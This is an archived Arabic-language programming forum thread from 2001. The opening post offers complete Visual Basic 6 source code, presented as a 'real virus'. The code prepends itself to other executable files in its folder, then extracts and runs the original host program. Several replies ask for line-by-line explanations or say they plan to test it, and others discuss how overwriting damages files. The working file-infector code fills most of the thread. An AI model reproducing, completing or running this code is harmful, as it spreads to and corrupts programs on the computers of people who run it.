الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

i maked real virus in vb6 .. it,s free sorce cod

مغلق
بدأه amervb في 27 نوفمبر 2001 · 6 رد · 1,041 مشاهدة · في لغة Ms Visual Basic 6 وما قبلها من إصدارات
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

==============================

Option Explicit

Private Victim As String

Private HostLen As Long

Private vbArray() As Byte

Private hArray() As Byte

Private lenght As Long

Const MySize As Integer = 14336

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long

Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Private iResult As Long

Private hProg As Long

Private idProg As Long

Private iExit As Long

Const STILL_ACTIVE As Long = &H103

Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Private Sub Form_Initialize()

Dim i As Long

On Error GoTo vbVerror

Open App.Path & "" & App.EXEName & ".exe" For Binary Access Read _

As #1

ReDim vbArray(MySize)

Get #1, 1, vbArray

Close #1

Victim = Dir(App.Path & "" & "*.EXE")

While Victim <> ""

If Format(Victim, ">") <> Format(App.EXEName & ".EXE", ">") Then

Open App.Path & "" & Victim For Binary Access Read As #1

ReDim hArray(LOF(1))

Get #1, 1, hArray

Close #1

If hArray(&H69) <> &H4D Then

i = hArray(&H3C)

If hArray(i) = &H50 Then

Open App.Path & "" & Victim For Binary Access Write As #1

Put #1, , vbArray

Put #1, MySize, hArray

Close #1

End If

End If

End If

Victim = Dir()

Wend

Open App.Path & "" & App.EXEName & ".exe" For Binary Access Read As #1

lenght = LOF(1) - MySize

If lenght <> 0 Then

ReDim vbArray(lenght - 1)

Get #1, MySize, vbArray

Close #1

Open App.Path & "" & App.EXEName & ".eve" For Binary Access Write As #1

Put #1, , vbArray

Close #1

idProg = Shell(App.Path & "" & App.EXEName & ".eve", vbNormalFocus)

hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)

GetExitCodeProcess hProg, iExit

Do While iExit = STILL_ACTIVE

DoEvents

GetExitCodeProcess hProg, iExit

Loop

Kill App.Path & "" & App.EXEName & ".eve"

Else

Close #1

End If

End

vbVerror:

End Sub

#2

Where is the Free Source Code for your real VIRUS in VB6

© © ©

#3

هذا شى حسن منك ولكنى اريد منك شرح لكل كبيرة وصغير فى هذا الكود

وجزاك الله خيراً

#4

هل تقصد انه يكتب على اي ملف exe ولكن النقطه الاهم هل الملف التنفيذي سيعمل بعد ان يكتب عليه ؟؟؟

سوف اجرب الكود ان شاء الله وأرى .

#5

انا ماجربت الكود بس اذا كان يكتب على الملفات فهذا اقوى نوع من التخريب سواء بفتح الملف وتخريب الشفره او باستبداله بملف بنفس الاسم لان برامج الاسترجاع راح ترجع الملفات اذا كانت محذوفه والي يتعذر استرجاعه نسبه قليله اما بالكتابه او الاستبدال فهذا اخطر شي لان برامج الاسترجاع بترجع نفس الملف المعطوب مثل فيروس دوده مااذكر اسمه من كم شهر كان الخبراء يحذرون من خطورته الشديه لانه يفتح الملفات التنفيذيه ويسوي حفظ وتقدرون تجربون من الدوس اكتب امر edit لاي ملف تنفيذي بيطلع لك رموز سواء مسحت اي رمز او اظفت او حتى حفظت الملف من دون اظافه بتلقى ان ملفك صار معطوب.

-------------------------------------------------------------------------------------

الماسنجر RAMI23@AYNA.COM

#6

بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله وبركاته

اخى فالله شكراً جزيلاً على هذا الكود ، ولكنى اريد شرحاً لما به من جمل برمجية لاننى مبتدأ

ولك جزيل الشكر والامتنان

أخوك فى الله

ٍSendbaad

#7

الكتابة على ملف من ابسط الاشياء وتسطيع بكود بسيط ان تجعل البرنامج يقوم بالكتابة على كل ملفات الكمبيوتر بموقع محدد ولكن هذا لا يعني ان هذا فيروس لان تدميره فقط لهذا الجهاز ولن ينتقل الى اجهزة اخرى ايضا لن يلتصق ببرنامج اخرى فقط سيدمره

أم الفيروسات الحقيقة تكتب على الملف وتنتقل لتبقى بالذاكرة للتلتصق باي ملف يتم تحميله للذاكرة .

بالنسبة للامر Edit نعم سيحدث تدمير للملف لأن الملف غير معد للحفظ الملفات بصيغة الـ Hex أم لو قمت بفتح اي ملف بمحرر الـHex فلن يتأثر . حتى لو أضفت للملف في اخره فلن يتأثر والمشكلة دائما في الاضافة في رأس الملف الـ Header .

هذا الموضوع مغلق.

مواضيع مشابهة